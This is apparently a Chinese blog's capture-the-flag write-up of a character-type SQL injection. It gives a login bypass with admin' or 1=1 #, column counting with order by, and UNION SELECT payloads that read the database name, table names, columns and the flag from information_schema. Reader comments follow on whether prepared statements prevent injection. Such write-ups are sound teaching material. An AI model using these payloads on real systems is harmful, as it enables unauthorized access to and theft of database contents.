# 字符型注入 ## 判断注入类型 ```mysql admin' or 1=1 # ```  ## 获取当前表列数与数据库名称 `order by 3`时还有结果,`order by 4`无结果,故有3列   采用联合查询获取数据库名称为**web2** ```mysql admin' or 1=1 union select 1,database(),3# ```  ## 获取当前数据库内所有表名 ```mysql admin' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3# ```  ## 获取flag表内字段 ```mysql admin' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3# ```  ## 获取flag ```flag admin' or 1=1 union select 1,(select flag from flag),3# ```  字符型注入判断注入类型admin' or 1=1 #Mysql 复制image.png获取当前表列数与数据库名称order by 3时还有结果,order by 4无结果,故有3列image.pngimage.png采用联合查询获取数据库名称为web2admin' or 1=1 union select 1,database(),3#Mysql 复制image.png获取当前数据库内所有表名admin' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3#Mysql 复制image.png获取flag表内字段admin' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3#Mysql 复制image.png获取flagadmin' or 1=1 union select 1,(select flag from flag),3#Flag 复制image.png 最后修改:2023 年 08 月 06 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 1 如果觉得我的文章对你有用,请随意赞赏
7 条评论
博主太厉害了!
csacsa
qwe
写的可以哦
没有绝对的预处理,总会有各种注入绕过
用预处理的话很难被注入了吧
没有绝对的预处理,总会有各种注入绕过